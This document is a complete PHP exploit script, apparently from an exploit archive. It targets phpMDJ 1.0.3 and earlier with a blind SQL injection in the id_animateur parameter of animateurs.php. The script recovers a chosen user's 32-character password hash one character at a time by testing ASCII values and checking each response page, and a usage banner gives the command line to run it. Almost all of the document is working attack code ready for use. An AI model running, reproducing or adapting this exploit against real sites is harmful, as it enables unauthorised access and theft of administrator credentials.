--+++=========================================================+++--
--+++====== phpMDJ <= 1.0.3 Blind SQL Injection Exploit ======+++--
--+++=========================================================+++--

<?php

function query ($usr, $chr, $pos)
{
 $query = "x' OR ASCII(SUBSTRING((SELECT mdp FROM phpmdj_users WHERE pseudo = '{$usr}'),{$pos},1))={$chr} OR '1' = '2";
 $query = str_replace (" ", "%20", $query);
 $query = str_replace ("'", "%27", $query);
 return $query;
}

function exploit ($hostname, $path, $usr, $chr, $pos)
{
 $chr = ord ($chr);

 $fp = fsockopen ($hostname, 80);

 $query = query ($usr, $chr, $pos);
 $request = "GET {$path}/animateurs.php?id_animateur={$query} HTTP/1.1\r\n".
     "Host: {$hostname}\r\n".
     "Connection: Close\r\n\r\n";

 fputs ($fp, $request);

 while (!feof ($fp))
  $reply .= fgets ($fp, 1024);
 
 fclose ($fp);
 preg_match ("/Les animateurs<\/a> :(.+)<\/h2>/", $reply, $x);

 if (strlen (trim ($x [1])) == 0)
  return false;
 else
  return true;
}

function usage ()
{
 echo
  "\n[+] phpMDJ <= 1.0.3 Blind SQL Injection Exploit".
  "\n[+] Author: darkjoker".
  "\n[+] Site  : http://darkjoker.net23.net".
  "\n[+] Usage : php xpl.php <hostname> <path> <username>".
  "\n[+] Ex.   : php xpl.php localhost /phpMDJ admin".
  "\n\n";
 exit ();
}

if ($argc != 4)
 usage ();

$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = "abcdef0123456789";
$pos = 1;
$chr = 0;

echo "[+] Password: ";

while ($pos <= 32)
{
 if (exploit ($hostname, $path, $user, $key [$chr], $pos))
 {
  echo $key [$chr];
  $chr = -1;
  $pos++;
 }
 $chr++;
}

echo "\n\n";